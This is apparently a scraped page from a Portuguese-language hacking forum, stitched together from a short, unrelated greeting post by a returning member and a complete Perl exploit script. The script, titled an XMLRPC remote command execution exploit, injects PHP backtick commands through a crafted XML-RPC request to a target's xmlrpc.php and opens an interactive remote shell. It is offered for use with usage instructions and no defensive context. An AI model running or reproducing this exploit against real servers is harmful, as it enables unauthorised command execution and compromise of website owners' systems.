Pow e sempre bom mudar tamos ae qualquer coisa ;p
This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.
Show posts MenuQuote from: l u b c k e on 02 de September , 2010, 09:23:26 PM
Caramba.. a quanto tempo que não entro aqui... acho que 90% nem deve me conhecer, 9% não lembra de mim, apesar de me conhecer e apenas 1% se lembrara...
Pois é.. depois de tanto tempo deu saudades do Darkes... (pausa... oO.. quanto tempo não falo ou escrevo este nome, que levava no peito )...
... bom.. infelizmente por tanto tempo afastado, sou apenas um usuário de informatica... mas quem sabe não me animo para outras coisas.. voltar a programar... mas isso é um sonho distante...
Bom.. me desculpem aos moderadores atuais se eu estou postando no lugar errado, newbie é foda...hehehhe...
Aquele abraço aos camaradas... aqueles que não conheço, prazer..
#!/usr/bin/perl
use IO::Socket;
print "XMLRPC remote commands execute exploit by dukenn (http://asteam.org)\n";
if ($ARGV[0] && $ARGV[1])
{
$host = $ARGV[0];
$xml = $ARGV[1];
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "connecterror\n";
while (1) {
print '['.$host.']# ';
$cmd = <STDIN>;
chop($cmd);
last if ($cmd eq 'exit');
$xmldata = "<?xml version=\"1.0\"?><methodCall><methodName>test.method</methodName><params><param><value><name>',''));echo '_begin_\n';echo `".$cmd."`;echo '_end_';exit;/*</name></value></param></params></methodCall>";
print $sock "POST ".$xml." HTTP/1.1\n";
print $sock "Host: ".$host."\n";
print $sock "Content-Type: text/xml\n";
print $sock "Content-Length:".length($xmldata)."\n\n".$xmldata;
$good=0;
while ($ans = <$sock>)
{
if ($good == 1) { print "$ans"; }
last if ($ans =~ /^site vulneravel!/);
if ($ans =~ /^_begin_/) { $good = 1; }
}
if ($good==0) {print "Exploit Failed\n";exit();}
}
}
else {
print "Usage: perl xml.pl [host] [path_to_xmlrpc]\n\n";
print "Example: perl xml.pl target.com /script/xmlrpc.php\n";
exit;
}